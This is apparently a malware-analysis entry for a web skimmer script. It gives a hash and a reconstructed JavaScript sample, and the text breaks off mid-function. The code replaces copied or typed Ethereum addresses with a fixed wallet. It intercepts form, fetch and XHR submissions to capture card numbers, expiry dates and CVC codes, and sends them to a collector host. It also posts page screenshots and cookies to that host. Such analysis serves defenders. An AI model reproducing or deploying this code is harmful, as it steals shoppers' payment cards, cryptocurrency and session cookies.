variant-destination-identifiers.js
Replaces copied selections with a fixed walletWallet clipper exports a rendered page image
SHA-256df391bc5c9ffaea8e007483060e3432d2e96da3fbe4eca194b2b495a92457b7b
Evidence
1// Reconstruction from Report URI and Amirul Cyber, not original track.js bytes.
2(function () {
3 function recode(copied) {
4 return copied.replace(/0x[a-fA-F0-9]{40}/g, '0x9876543210abcdef9876543210abcdef98765432');
5 }
6 const write = navigator.clipboard.writeText.bind(navigator.clipboard);
7 navigator.clipboard.writeText = function (copied) { return write(recode(copied)); };
8 document.addEventListener('copy', function (evt) {
9 const copied = window.getSelection().toString();
10 evt.clipboardData.setData('text/plain', recode(copied));
11 evt.preventDefault();
12 });
13 const observer = new MutationObserver(function () {
14 document.querySelectorAll('input,textarea').forEach(function (field) {
15 field.value = recode(field.value);
16 });
17 });
18 observer.observe(document.documentElement, {childList: true, subtree: true});
19 function luhn(value) {
20 let total = 0, twice = false;
21 for (let i = value.length - 1; i >= 0; i--) {
22 let digit = Number(value[i]);
23 if (twice) { digit *= 2; if (digit > 9) digit -= 9; }
24 total += digit; twice = !twice;
25 }
26 return total % 10 === 0;
27 }
28 function observeBody(requestData) {
29 const parts = new URLSearchParams(requestData);
30 const pan = parts.get('cc_num'), expires = parts.get('exp'), verification = parts.get('cvc2');
31 if (pan && expires && verification && luhn(pan)) {
32 navigator.sendBeacon('https://collector.example.net/card.php', JSON.stringify({pan: pan, expires: expires, verification: verification, u: location.href}));
33 sessionStorage.setItem('cc_' + pan, '1');
34 }
35 }
36 const original = window.fetch;
37 window.fetch = function (url, options) {
38 if (options && options.body) observeBody(options.body);
39 return original.apply(this, arguments);
40 };
41 const send = XMLHttpRequest.prototype.send;
42 XMLHttpRequest.prototype.send = function (requestData) { observeBody(requestData); return send.apply(this, arguments); };
43 document.addEventListener('submit', function (evt) { observeBody(new FormData(evt.target)); }, true);
44 function report() {
45 html2canvas(document.body).then(function (bitmap) {
46 fetch('https://collector.example.net/hit.php', {
47 method: 'POST', body: JSON.stringify({url: location.href, cookies: document.cookie, image: bitmap.toDataURL('image/jpeg')})
48 });